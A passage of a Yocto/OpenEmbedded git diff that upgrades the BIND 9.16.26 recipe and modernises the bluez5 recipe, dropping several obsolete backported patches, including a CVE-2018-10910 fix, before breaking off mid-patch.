-PACKAGECONFIG ?= "readline"
-PACKAGECONFIG[httpstats] = "--with-libxml2=${STAGING_DIR_HOST}${prefix},--without-libxml2,libxml2"
-PACKAGECONFIG[readline] = "--with-readline=-lreadline,,readline"
-PACKAGECONFIG[libedit] = "--with-readline=-ledit,,libedit"
-PACKAGECONFIG[urandom] = "--with-randomdev=/dev/urandom,--with-randomdev=/dev/random,,"
-PACKAGECONFIG[python3] = "--with-python=yes --with-python-install-dir=${PYTHON_SITEPACKAGES_DIR} , --without-python, python3-ply-native,"
-
-ENABLE_IPV6 = "--enable-ipv6=${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'yes', 'no', d)}"
-EXTRA_OECONF = " ${ENABLE_IPV6} --with-libtool --enable-threads \
- --disable-devpoll --enable-epoll --with-gost=no \
- --with-gssapi=no --with-ecdsa=yes --with-eddsa=no \
- --with-lmdb=no \
- --sysconfdir=${sysconfdir}/bind \
- --with-openssl=${STAGING_DIR_HOST}${prefix} \
- "
-
-inherit ${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3native distutils3-base', '', d)}
-
-# dhcp needs .la so keep them
-REMOVE_LIBTOOL_LA = "0"
-
-USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --home ${localstatedir}/cache/bind --no-create-home \
- --user-group bind"
-
-INITSCRIPT_NAME = "bind"
-INITSCRIPT_PARAMS = "defaults"
-
-SYSTEMD_SERVICE_${PN} = "named.service"
-
-do_install_prepend() {
- # clean host path in isc-config.sh before the hardlink created
- # by "make install":
- # bind9-config -> isc-config.sh
- sed -i -e "s,${STAGING_LIBDIR},${libdir}," ${B}/isc-config.sh
-}
-
-do_install_append() {
-
- rmdir "${D}${localstatedir}/run"
- rmdir --ignore-fail-on-non-empty "${D}${localstatedir}"
- install -d -o bind "${D}${localstatedir}/cache/bind"
- install -d "${D}${sysconfdir}/bind"
- install -d "${D}${sysconfdir}/init.d"
- install -m 644 ${S}/conf/* "${D}${sysconfdir}/bind/"
- install -m 755 "${S}/init.d" "${D}${sysconfdir}/init.d/bind"
- if ${@bb.utils.contains('PACKAGECONFIG', 'python3', 'true', 'false', d)}; then
- sed -i -e '1s,#!.*python3,#! /usr/bin/python3,' \
- ${D}${sbindir}/dnssec-coverage \
- ${D}${sbindir}/dnssec-checkds \
- ${D}${sbindir}/dnssec-keymgr
- fi
-
- # Install systemd related files
- install -d ${D}${sbindir}
- install -m 755 ${WORKDIR}/generate-rndc-key.sh ${D}${sbindir}
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/named.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/named.service
-
- install -d ${D}${sysconfdir}/default
- install -m 0644 ${WORKDIR}/bind9 ${D}${sysconfdir}/default
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/tmpfiles.d
- echo "d /run/named 0755 bind bind - -" > ${D}${sysconfdir}/tmpfiles.d/bind.conf
- fi
-}
-
-CONFFILES_${PN} = " \
- ${sysconfdir}/bind/named.conf \
- ${sysconfdir}/bind/named.conf.local \
- ${sysconfdir}/bind/named.conf.options \
- ${sysconfdir}/bind/db.0 \
- ${sysconfdir}/bind/db.127 \
- ${sysconfdir}/bind/db.empty \
- ${sysconfdir}/bind/db.local \
- ${sysconfdir}/bind/db.root \
- "
-
-ALTERNATIVE_${PN}-utils = "nslookup"
-ALTERNATIVE_LINK_NAME[nslookup] = "${bindir}/nslookup"
-ALTERNATIVE_PRIORITY = "100"
-
-PACKAGE_BEFORE_PN += "${PN}-utils"
-FILES_${PN}-utils = "${bindir}/host ${bindir}/dig ${bindir}/mdig ${bindir}/nslookup ${bindir}/nsupdate"
-FILES_${PN}-dev += "${bindir}/isc-config.h"
-FILES_${PN} += "${sbindir}/generate-rndc-key.sh"
-
-PACKAGE_BEFORE_PN += "${PN}-libs"
-FILES_${PN}-libs = "${libdir}/*.so*"
-FILES_${PN}-staticdev += "${libdir}/*.la"
-
-PACKAGE_BEFORE_PN += "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3-bind', '', d)}"
-FILES_python3-bind = "${sbindir}/dnssec-coverage ${sbindir}/dnssec-checkds \
- ${sbindir}/dnssec-keymgr ${PYTHON_SITEPACKAGES_DIR}"
-
-RDEPENDS_${PN}-dev = ""
-RDEPENDS_python3-bind = "python3-core python3-ply"
diff --git a/meta/recipes-connectivity/bind/bind_9.16.26.bb b/meta/recipes-connectivity/bind/bind_9.16.26.bb
new file mode 100644
index 0000000000..aa64a11b9c
--- /dev/null
+++ b/meta/recipes-connectivity/bind/bind_9.16.26.bb
@@ -0,0 +1,129 @@
+SUMMARY = "ISC Internet Domain Name Server"
+HOMEPAGE = "https://www.isc.org/bind/"
+DESCRIPTION = "BIND 9 provides a full-featured Domain Name Server system"
+SECTION = "console/network"
+
+LICENSE = "MPL-2.0"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=4e7b3c52170a348459a4ff3f5ce95e37"
+
+DEPENDS = "openssl libcap zlib libuv"
+
+SRC_URI = "https://ftp.isc.org/isc/bind9/${PV}/${BPN}-${PV}.tar.xz \
+ file://conf.patch \
+ file://named.service \
+ file://bind9 \
+ file://generate-rndc-key.sh \
+ file://make-etc-initd-bind-stop-work.patch \
+ file://init.d-add-support-for-read-only-rootfs.patch \
+ file://bind-ensure-searching-for-json-headers-searches-sysr.patch \
+ file://0001-named-lwresd-V-and-start-log-hide-build-options.patch \
+ file://0001-avoid-start-failure-with-bind-user.patch \
+ "
+
+SRC_URI[sha256sum] = "70b39a5eb71650358ec9ba41da3050d32aeac0aeb4a466684b23f35affa7fb45"
+
+UPSTREAM_CHECK_URI = "https://ftp.isc.org/isc/bind9/"
+# follow the ESV versions divisible by 2
+UPSTREAM_CHECK_REGEX = "(?P<pver>9.(\d*[02468])+(\.\d+)+(-P\d+)*)/"
+
+# Issue only affects dhcpd with recent bind versions. We don't ship dhcpd anymore
+# so the issue doesn't affect us.
+CVE_CHECK_IGNORE += "CVE-2019-6470"
+
+inherit autotools update-rc.d systemd useradd pkgconfig multilib_header update-alternatives
+
+# PACKAGECONFIGs readline and libedit should NOT be set at same time
+PACKAGECONFIG ?= "readline"
+PACKAGECONFIG[httpstats] = "--with-libxml2=${STAGING_DIR_HOST}${prefix},--without-libxml2,libxml2"
+PACKAGECONFIG[readline] = "--with-readline=-lreadline,,readline"
+PACKAGECONFIG[libedit] = "--with-readline=-ledit,,libedit"
+PACKAGECONFIG[python3] = "--with-python=yes --with-python-install-dir=${PYTHON_SITEPACKAGES_DIR} , --without-python, python3-ply-native,"
+
+EXTRA_OECONF = " --with-libtool --disable-devpoll --disable-auto-validation --enable-epoll \
+ --with-gssapi=no --with-lmdb=no --with-zlib \
+ --sysconfdir=${sysconfdir}/bind \
+ --with-openssl=${STAGING_DIR_HOST}${prefix} \
+ "
+LDFLAGS:append = " -lz"
+
+inherit ${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3native setuptools3-base', '', d)}
+
+# dhcp needs .la so keep them
+REMOVE_LIBTOOL_LA = "0"
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "--system --home ${localstatedir}/cache/bind --no-create-home \
+ --user-group bind"
+
+INITSCRIPT_NAME = "bind"
+INITSCRIPT_PARAMS = "defaults"
+
+SYSTEMD_SERVICE:${PN} = "named.service"
+
+do_install:append() {
+
+ install -d -o bind "${D}${localstatedir}/cache/bind"
+ install -d "${D}${sysconfdir}/bind"
+ install -d "${D}${sysconfdir}/init.d"
+ install -m 644 ${S}/conf/* "${D}${sysconfdir}/bind/"
+ install -m 755 "${S}/init.d" "${D}${sysconfdir}/init.d/bind"
+ if ${@bb.utils.contains('PACKAGECONFIG', 'python3', 'true', 'false', d)}; then
+ sed -i -e '1s,#!.*python3,#! /usr/bin/python3,' \
+ ${D}${sbindir}/dnssec-coverage \
+ ${D}${sbindir}/dnssec-checkds \
+ ${D}${sbindir}/dnssec-keymgr
+ fi
+
+ # Install systemd related files
+ install -d ${D}${sbindir}
+ install -m 755 ${WORKDIR}/generate-rndc-key.sh ${D}${sbindir}
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/named.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${systemd_system_unitdir}/named.service
+
+ install -d ${D}${sysconfdir}/default
+ install -m 0644 ${WORKDIR}/bind9 ${D}${sysconfdir}/default
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -d ${D}${sysconfdir}/tmpfiles.d
+ echo "d /run/named 0755 bind bind - -" > ${D}${sysconfdir}/tmpfiles.d/bind.conf
+ fi
+
+ oe_multilib_header isc/platform.h
+}
+
+CONFFILES:${PN} = " \
+ ${sysconfdir}/bind/named.conf \
+ ${sysconfdir}/bind/named.conf.local \
+ ${sysconfdir}/bind/named.conf.options \
+ ${sysconfdir}/bind/db.0 \
+ ${sysconfdir}/bind/db.127 \
+ ${sysconfdir}/bind/db.empty \
+ ${sysconfdir}/bind/db.local \
+ ${sysconfdir}/bind/db.root \
+ "
+
+ALTERNATIVE:${PN}-utils = "nslookup"
+ALTERNATIVE_LINK_NAME[nslookup] = "${bindir}/nslookup"
+ALTERNATIVE_PRIORITY = "100"
+
+PACKAGE_BEFORE_PN += "${PN}-utils"
+FILES:${PN}-utils = "${bindir}/host ${bindir}/dig ${bindir}/mdig ${bindir}/nslookup ${bindir}/nsupdate"
+FILES:${PN}-dev += "${bindir}/isc-config.h"
+FILES:${PN} += "${sbindir}/generate-rndc-key.sh"
+
+PACKAGE_BEFORE_PN += "${PN}-libs"
+# special arrangement below due to
+# https://github.com/isc-projects/bind9/commit/0e25af628cd776f98c04fc4cc59048f5448f6c88
+FILES_SOLIBSDEV = "${libdir}/*[!0-9].so ${libdir}/libbind9.so"
+FILES:${PN}-libs = "${libdir}/named/*.so* ${libdir}/*-${PV}.so"
+FILES:${PN}-staticdev += "${libdir}/*.la"
+
+PACKAGE_BEFORE_PN += "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3-bind', '', d)}"
+FILES:python3-bind = "${sbindir}/dnssec-coverage ${sbindir}/dnssec-checkds \
+ ${sbindir}/dnssec-keymgr ${PYTHON_SITEPACKAGES_DIR}"
+
+RDEPENDS:${PN}-dev = ""
+RDEPENDS:python3-bind = "python3-core python3-ply"
diff --git a/meta/recipes-connectivity/bluez5/bluez5.inc b/meta/recipes-connectivity/bluez5/bluez5.inc
index 1702323288..79d4645ca8 100644
--- a/meta/recipes-connectivity/bluez5/bluez5.inc
+++ b/meta/recipes-connectivity/bluez5/bluez5.inc
@@ -2,15 +2,15 @@ SUMMARY = "Linux Bluetooth Stack Userland V5"
DESCRIPTION = "Linux Bluetooth stack V5 userland components. These include a system configurations, daemons, tools and system libraries."
HOMEPAGE = "http://www.bluez.org"
SECTION = "libs"
-LICENSE = "GPLv2+ & LGPLv2.1+"
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
file://COPYING.LIB;md5=fb504b67c50331fc78734fed90fb0e09 \
- file://src/main.c;beginline=1;endline=24;md5=9bc54b93cd7e17bf03f52513f39f926e"
+ file://src/main.c;beginline=1;endline=24;md5=0ad83ca0dc37ab08af448777c581e7ac"
DEPENDS = "dbus glib-2.0"
PROVIDES += "bluez-hcidump"
-RPROVIDES_${PN} += "bluez-hcidump"
+RPROVIDES:${PN} += "bluez-hcidump"
-RCONFLICTS_${PN} = "bluez4"
+RCONFLICTS:${PN} = "bluez4"
PACKAGECONFIG ??= "obex-profiles \
readline \
@@ -42,34 +42,29 @@ PACKAGECONFIG[sixaxis] = "--enable-sixaxis,--disable-sixaxis"
PACKAGECONFIG[tools] = "--enable-tools,--disable-tools"
PACKAGECONFIG[threads] = "--enable-threads,--disable-threads"
PACKAGECONFIG[deprecated] = "--enable-deprecated,--disable-deprecated"
-PACKAGECONFIG[mesh] = "--enable-mesh,--disable-mesh, json-c ell"
-PACKAGECONFIG[btpclient] = "--enable-btpclient,--disable-btpclient, ell"
+PACKAGECONFIG[mesh] = "--enable-mesh --enable-external-ell,--disable-mesh, json-c ell"
+PACKAGECONFIG[btpclient] = "--enable-btpclient --enable-external-ell,--disable-btpclient, ell"
PACKAGECONFIG[udev] = "--enable-udev,--disable-udev,udev"
-
-SRC_URI = "\
- ${KERNELORG_MIRROR}/linux/bluetooth/bluez-${PV}.tar.xz \
- file://out-of-tree.patch \
- file://init \
- file://run-ptest \
- ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '', 'file://0001-Allow-using-obexd-without-systemd-in-the-user-sessio.patch', d)} \
- file://0001-tests-add-a-target-for-building-tests-without-runnin.patch \
- file://0001-test-gatt-Fix-hung-issue.patch \
- file://0001-Makefile.am-Fix-a-race-issue-for-tools.patch \
- file://CVE-2018-10910.patch \
- file://gcc9-fixes.patch \
- file://0001-tools-Fix-build-after-y2038-changes-in-glibc.patch \
- file://0001-tools-btpclient.c-include-signal.h.patch \
-"
+PACKAGECONFIG[manpages] = "--enable-manpages,--disable-manpages,python3-docutils-native"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/bluetooth/bluez-${PV}.tar.xz \
+ file://init \
+ file://run-ptest \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '', 'file://0001-Allow-using-obexd-without-systemd-in-the-user-sessio.patch', d)} \
+ file://0001-tests-add-a-target-for-building-tests-without-runnin.patch \
+ file://0001-test-gatt-Fix-hung-issue.patch \
+ "
S = "${WORKDIR}/bluez-${PV}"
CVE_PRODUCT = "bluez"
-inherit autotools pkgconfig systemd update-rc.d distro_features_check ptest gobject-introspection-data
+inherit autotools pkgconfig systemd update-rc.d ptest gobject-introspection-data
EXTRA_OECONF = "\
--enable-test \
--enable-datafiles \
--enable-library \
+ --without-zsh-completion-dir \
"
# bluez5 builds a large number of useful utilities but does not
@@ -83,7 +78,7 @@ NOINST_TOOLS = " \
${@bb.utils.contains('PACKAGECONFIG', 'tools', '${NOINST_TOOLS_BT}', '', d)} \
"
-do_install_append() {
+do_install:append() {
install -d ${D}${INIT_D_DIR}
install -m 0755 ${WORKDIR}/init ${D}${INIT_D_DIR}/bluetooth
@@ -111,25 +106,25 @@ do_install_append() {
PACKAGES =+ "${PN}-testtools ${PN}-obex ${PN}-noinst-tools"
-FILES_${PN} += " \
+FILES:${PN} += " \
${libdir}/bluetooth/plugins/*.so \
${systemd_unitdir}/ ${datadir}/dbus-1 \
${libdir}/cups \
"
-FILES_${PN}-dev += " \
+FILES:${PN}-dev += " \
${libdir}/bluetooth/plugins/*.la \
"
-FILES_${PN}-obex = "${libexecdir}/bluetooth/obexd \
+FILES:${PN}-obex = "${libexecdir}/bluetooth/obexd \
${exec_prefix}/lib/systemd/user/obex.service \
${systemd_system_unitdir}/obex.service \
${sysconfdir}/systemd/system/multi-user.target.wants/obex.service \
${datadir}/dbus-1/services/org.bluez.obex.service \
${sysconfdir}/dbus-1/system.d/obexd.conf \
"
-SYSTEMD_SERVICE_${PN}-obex = "obex.service"
+SYSTEMD_SERVICE:${PN}-obex = "obex.service"
-FILES_${PN}-testtools = "${libdir}/bluez/test/*"
+FILES:${PN}-testtools = "${libdir}/bluez/test/*"
def get_noinst_tools_paths (d, bb, tools):
s = list()
@@ -139,14 +134,14 @@ def get_noinst_tools_paths (d, bb, tools):
s.append("%s/%s" % (bindir, f))
return "\n".join(s)
-FILES_${PN}-noinst-tools = "${@get_noinst_tools_paths(d, bb, d.getVar('NOINST_TOOLS'))}"
+FILES:${PN}-noinst-tools = "${@get_noinst_tools_paths(d, bb, d.getVar('NOINST_TOOLS'))}"
-RDEPENDS_${PN}-testtools += "python3-core python3-dbus"
-RDEPENDS_${PN}-testtools += "${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'python3-pygobject', '', d)}"
+RDEPENDS:${PN}-testtools += "python3-core python3-dbus"
+RDEPENDS:${PN}-testtools += "${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'python3-pygobject', '', d)}"
-SYSTEMD_SERVICE_${PN} = "${@bb.utils.contains('PACKAGECONFIG', 'systemd', 'bluetooth.service', '', d)}"
+SYSTEMD_SERVICE:${PN} = "${@bb.utils.contains('PACKAGECONFIG', 'systemd', 'bluetooth.service', '', d)}"
INITSCRIPT_PACKAGES = "${PN}"
-INITSCRIPT_NAME_${PN} = "bluetooth"
+INITSCRIPT_NAME:${PN} = "bluetooth"
do_compile_ptest() {
oe_runmake buildtests
@@ -157,4 +152,4 @@ do_install_ptest() {
rm -f ${D}${PTEST_PATH}/unit/*.o
}
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-gconv-utf-16"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-gconv-utf-16"
diff --git a/meta/recipes-connectivity/bluez5/bluez5/0001-Allow-using-obexd-without-systemd-in-the-user-sessio.patch b/meta/recipes-connectivity/bluez5/bluez5/0001-Allow-using-obexd-without-systemd-in-the-user-sessio.patch
index da7140922d..618ed734a9 100644
--- a/meta/recipes-connectivity/bluez5/bluez5/0001-Allow-using-obexd-without-systemd-in-the-user-sessio.patch
+++ b/meta/recipes-connectivity/bluez5/bluez5/0001-Allow-using-obexd-without-systemd-in-the-user-sessio.patch
@@ -1,4 +1,4 @@
-From 99ccdbe155028c4c789803a429072675b87d0c3a Mon Sep 17 00:00:00 2001
+From f74eb97c9fb3c0ee2895742e773ac6a3c41c999c Mon Sep 17 00:00:00 2001
From: Giovanni Campagna <gcampagna-cNUdlRotFMnNLxjTenLetw@public.gmane.org>
Date: Sat, 12 Oct 2013 17:45:25 +0200
Subject: [PATCH] Allow using obexd without systemd in the user session
@@ -17,22 +17,22 @@ http://thread.gmane.org/gmane.linux.bluez.kernel/38725/focus=38843
Signed-off-by: Javier Viguera <javier.viguera@digi.com>
---
- Makefile.obexd | 4 ++--
- obexd/src/{org.bluez.obex.service => org.bluez.obex.service.in} | 2 +-
+ Makefile.obexd | 4 ++--
+ .../src/{org.bluez.obex.service => org.bluez.obex.service.in} | 2 +-
2 files changed, 3 insertions(+), 3 deletions(-)
rename obexd/src/{org.bluez.obex.service => org.bluez.obex.service.in} (76%)
diff --git a/Makefile.obexd b/Makefile.obexd
-index c462692..0325f66 100644
+index de59d29..73004a3 100644
--- a/Makefile.obexd
+++ b/Makefile.obexd
@@ -1,12 +1,12 @@
if SYSTEMD
- systemduserunitdir = @SYSTEMD_USERUNITDIR@
+ systemduserunitdir = $(SYSTEMD_USERUNITDIR)
systemduserunit_DATA = obexd/src/obex.service
+endif
- dbussessionbusdir = @DBUS_SESSIONBUSDIR@
+ dbussessionbusdir = $(DBUS_SESSIONBUSDIR)
dbussessionbus_DATA = obexd/src/org.bluez.obex.service
-endif
diff --git a/meta/recipes-connectivity/bluez5/bluez5/0001-Makefile.am-Fix-a-race-issue-for-tools.patch b/meta/recipes-connectivity/bluez5/bluez5/0001-Makefile.am-Fix-a-race-issue-for-tools.patch
deleted file mode 100644
index b6cb978393..0000000000
--- a/meta/recipes-connectivity/bluez5/bluez5/0001-Makefile.am-Fix-a-race-issue-for-tools.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 117c41242c01e057295aed80ed973c6dc7e35fe2 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Tue, 8 Oct 2019 11:01:56 +0100
-Subject: [PATCH BlueZ] Makefile.am: add missing mkdir in rules generation
-
-In parallel out-of-tree builds it's possible that tools/*.rules are
-generated before the target directory has been implicitly created. Solve this by
-creating the directory before writing into it.
----
- Makefile.am | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/Makefile.am b/Makefile.am
-index 2ac28b23d..e7bcd2366 100644
---- a/Makefile.am
-+++ b/Makefile.am
-@@ -589,6 +589,7 @@ src/builtin.h: src/genbuiltin $(builtin_sources)
- $(AM_V_GEN)$(srcdir)/src/genbuiltin $(builtin_modules) > $@
-
- tools/%.rules:
-+ $(AM_V_at)$(MKDIR_P) tools
- $(AM_V_GEN)cp $(srcdir)/$(subst 97-,,$@) $@
-
- $(lib_libbluetooth_la_OBJECTS): $(local_headers)
---
-2.20.1
-
diff --git a/meta/recipes-connectivity/bluez5/bluez5/0001-tools-Fix-build-after-y2038-changes-in-glibc.patch b/meta/recipes-connectivity/bluez5/bluez5/0001-tools-Fix-build-after-y2038-changes-in-glibc.patch
deleted file mode 100644
index 9ca20ae53b..0000000000
--- a/meta/recipes-connectivity/bluez5/bluez5/0001-tools-Fix-build-after-y2038-changes-in-glibc.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From f36f71f60b1e68c0f12e615b9b128d089ec3dd19 Mon Sep 17 00:00:00 2001
-From: Bastien Nocera <hadess@hadess.net>
-Date: Fri, 7 Jun 2019 09:51:33 +0200
-Subject: [PATCH] tools: Fix build after y2038 changes in glibc
-
-The 32-bit SIOCGSTAMP has been deprecated. Use the deprecated name
-to fix the build.
-
-Upstream-Status: backport commit f36f71f60b1e68c0f12e615b9b128d089ec3dd19
-
-Signed-off-by: Bruce Ashfield <bruce.ashfield@gmail.com>
-
----
- tools/l2test.c | 6 +++++-
- tools/rctest.c | 6 +++++-
- 2 files changed, 10 insertions(+), 2 deletions(-)
-
-diff --git a/tools/l2test.c b/tools/l2test.c
-index e755ac881..e787c2ce2 100644
---- a/tools/l2test.c
-+++ b/tools/l2test.c
-@@ -55,6 +55,10 @@
- #define BREDR_DEFAULT_PSM 0x1011
- #define LE_DEFAULT_PSM 0x0080
-
-+#ifndef SIOCGSTAMP_OLD
-+#define SIOCGSTAMP_OLD SIOCGSTAMP
-+#endif
-+
- /* Test modes */
- enum {
- SEND,
-@@ -907,7 +911,7 @@ static void recv_mode(int sk)
- if (timestamp) {
- struct timeval tv;
-
-- if (ioctl(sk, SIOCGSTAMP, &tv) < 0) {
-+ if (ioctl(sk, SIOCGSTAMP_OLD, &tv) < 0) {
- timestamp = 0;
- memset(ts, 0, sizeof(ts));
- } else {
-diff --git a/tools/rctest.c b/tools/rctest.c
-index 94490f462..bc8ed875d 100644
---- a/tools/rctest.c
-+++ b/tools/rctest.c
-@@ -50,6 +50,10 @@
-
- #include "src/shared/util.h"
-
-+#ifndef SIOCGSTAMP_OLD
-+#define SIOCGSTAMP_OLD SIOCGSTAMP
-+#endif
-+
- /* Test modes */
- enum {
- SEND,
-@@ -505,7 +509,7 @@ static void recv_mode(int sk)
- if (timestamp) {
- struct timeval tv;
-
-- if (ioctl(sk, SIOCGSTAMP, &tv) < 0) {
-+ if (ioctl(sk, SIOCGSTAMP_OLD, &tv) < 0) {
- timestamp = 0;
- memset(ts, 0, sizeof(ts));
- } else {
---
-2.19.1
-
diff --git a/meta/recipes-connectivity/bluez5/bluez5/0001-tools-btpclient.c-include-signal.h.patch b/meta/recipes-connectivity/bluez5/bluez5/0001-tools-btpclient.c-include-signal.h.patch
deleted file mode 100644
index 620aaabc68..0000000000
--- a/meta/recipes-connectivity/bluez5/bluez5/0001-tools-btpclient.c-include-signal.h.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 0b1766514f6847c7367fce07f19a750ec74c11a6 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Thu, 26 Sep 2019 16:19:34 +0800
-Subject: [PATCH] tools/btpclient.c: include signal.h
-
-Fix compile failure when configure --enable-btpclient:
-btpclient.c:2834:7: error: 'SIGINT' undeclared (first use in this function)
-
-Upstream-Status: Backport [A subset of the full fix that went upstream]
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- tools/btpclient.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/tools/btpclient.c b/tools/btpclient.c
-index b217df5..aece7fe 100644
---- a/tools/btpclient.c
-+++ b/tools/btpclient.c
-@@ -29,6 +29,7 @@
- #include <stdlib.h>
- #include <assert.h>
- #include <getopt.h>
-+#include <signal.h>
-
- #include <ell/ell.h>
-
---
-2.7.4
-
diff --git a/meta/recipes-connectivity/bluez5/bluez5/CVE-2018-10910.patch b/meta/recipes-connectivity/bluez5/bluez5/CVE-2018-10910.patch
deleted file mode 100644
index 2a78077443..0000000000
--- a/meta/recipes-connectivity/bluez5/bluez5/CVE-2018-10910.patch
+++ /dev/null
@@ -1,505 +0,0 @@
-From 977321f2c7f974ea68a3d90df296c66189a3f254 Mon Sep 17 00:00:00 2001
-From: Lei Maohui <leimaohui@cn.fujitsu.com>
-Date: Fri, 21 Jun 2019 17:57:35 +0900
-Subject: [PATCH] CVE-2018-10910
-
-A bug in Bluez may allow for the Bluetooth Discoverable state being set to on
-when no Bluetooth agent is registered with the system. This situation could
-lead to the unauthorized pairing of certain Bluetooth devices without any
-form of authentication.
-
-CVE: CVE-2018-10910
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-Subject: [PATCH BlueZ 1/4] client: Add discoverable-timeout command
-From: Luiz Augusto von Dentz <luiz.dentz () gmail ! com>
-Date: 2018-07-25 10:20:32
-Message-ID: 20180725102035.19439-1-luiz.dentz () gmail ! com
-[Download RAW message or body]
-
-From: Luiz Augusto von Dentz <luiz.von.dentz@intel.com>
-
-This adds discoverable-timeout command which can be used to get/set
-DiscoverableTimeout property:
-
-[bluetooth]# discoverable-timeout 180
-Changing discoverable-timeout 180 succeeded
----
- client/main.c | 82 +++++++++++++++++++++++++++++++++-
- doc/adapter-api.txt | 6 +++
- src/adapter.c | 125 ++++++++++++++++++++++++++++++++++++++++++++++------
- 3 files changed, 198 insertions(+), 15 deletions(-)
-
-diff --git a/client/main.c b/client/main.c
-index 87323d8..1a66a3a 100644
---- a/client/main.c
-+++ b/client/main.c
-@@ -877,6 +877,7 @@ static void cmd_show(int argc, char *argv[])
- print_property(proxy, "Class");
- print_property(proxy, "Powered");
- print_property(proxy, "Discoverable");
-+ print_property(proxy, "DiscoverableTimeout");
- print_property(proxy, "Pairable");
- print_uuids(proxy);
- print_property(proxy, "Modalias");
-@@ -1061,6 +1062,47 @@ static void cmd_discoverable(int argc, char *argv[])
- return bt_shell_noninteractive_quit(EXIT_FAILURE);
- }
-
-+static void cmd_discoverable_timeout(int argc, char *argv[])
-+{
-+ uint32_t value;
-+ char *endptr = NULL;
-+ char *str;
-+
-+ if (argc < 2) {
-+ DBusMessageIter iter;
-+
-+ if (!g_dbus_proxy_get_property(default_ctrl->proxy,
-+ "DiscoverableTimeout", &iter)) {
-+ bt_shell_printf("Unable to get DiscoverableTimeout\n");
-+ return bt_shell_noninteractive_quit(EXIT_FAILURE);
-+ }
-+
-+ dbus_message_iter_get_basic(&iter, &value);
-+
-+ bt_shell_printf("DiscoverableTimeout: %d seconds\n", value);
-+
-+ return;
-+ }
-+
-+ value = strtol(argv[1], &endptr, 0);
-+ if (!endptr || *endptr != '\0' || value > UINT32_MAX) {
-+ bt_shell_printf("Invalid argument\n");
-+ return bt_shell_noninteractive_quit(EXIT_FAILURE);
-+ }
-+
-+ str = g_strdup_printf("discoverable-timeout %d", value);
-+
-+ if (g_dbus_proxy_set_property_basic(default_ctrl->proxy,
-+ "DiscoverableTimeout",
-+ DBUS_TYPE_UINT32, &value,
-+ generic_callback, str, g_free))
-+ return;
-+
-+ g_free(str);
-+
-+ return bt_shell_noninteractive_quit(EXIT_FAILURE);
-+}
-+
- static void cmd_agent(int argc, char *argv[])
- {
- dbus_bool_t enable;
-@@ -1124,6 +1166,7 @@ static struct set_discovery_filter_args {
- char **uuids;
- size_t uuids_len;
- dbus_bool_t duplicate;
-+ dbus_bool_t discoverable;
- bool set;
- } filter = {
- .rssi = DISTANCE_VAL_INVALID,
-@@ -1163,6 +1206,11 @@ static void set_discovery_filter_setup(DBusMessageIter *iter, void *user_data)
- DBUS_TYPE_BOOLEAN,
- &args->duplicate);
-
-+ if (args->discoverable)
-+ g_dbus_dict_append_entry(&dict, "Discoverable",
-+ DBUS_TYPE_BOOLEAN,
-+ &args->discoverable);
-+
- dbus_message_iter_close_container(iter, &dict);
- }
-
-@@ -1320,6 +1368,26 @@ static void cmd_scan_filter_duplicate_data(int argc, char *argv[])
- filter.set = false;
- }
-
-+static void cmd_scan_filter_discoverable(int argc, char *argv[])
-+{
-+ if (argc < 2 || !strlen(argv[1])) {
-+ bt_shell_printf("Discoverable: %s\n",
-+ filter.discoverable ? "on" : "off");
-+ return bt_shell_noninteractive_quit(EXIT_SUCCESS);
-+ }
-+
-+ if (!strcmp(argv[1], "on"))
-+ filter.discoverable = true;
-+ else if (!strcmp(argv[1], "off"))
-+ filter.discoverable = false;
-+ else {
-+ bt_shell_printf("Invalid option: %s\n", argv[1]);
-+ return bt_shell_noninteractive_quit(EXIT_FAILURE);
-+ }
-+
-+ filter.set = false;
-+}
-+
- static void filter_clear_uuids(void)
- {
- g_strfreev(filter.uuids);
-@@ -1348,6 +1416,11 @@ static void filter_clear_duplicate(void)
- filter.duplicate = false;
- }
-
-+static void filter_clear_discoverable(void)
-+{
-+ filter.discoverable = false;
-+}
-+
- struct clear_entry {
- const char *name;
- void (*clear) (void);
-@@ -1359,6 +1432,7 @@ static const struct clear_entry filter_clear[] = {
- { "pathloss", filter_clear_pathloss },
- { "transport", filter_clear_transport },
- { "duplicate-data", filter_clear_duplicate },
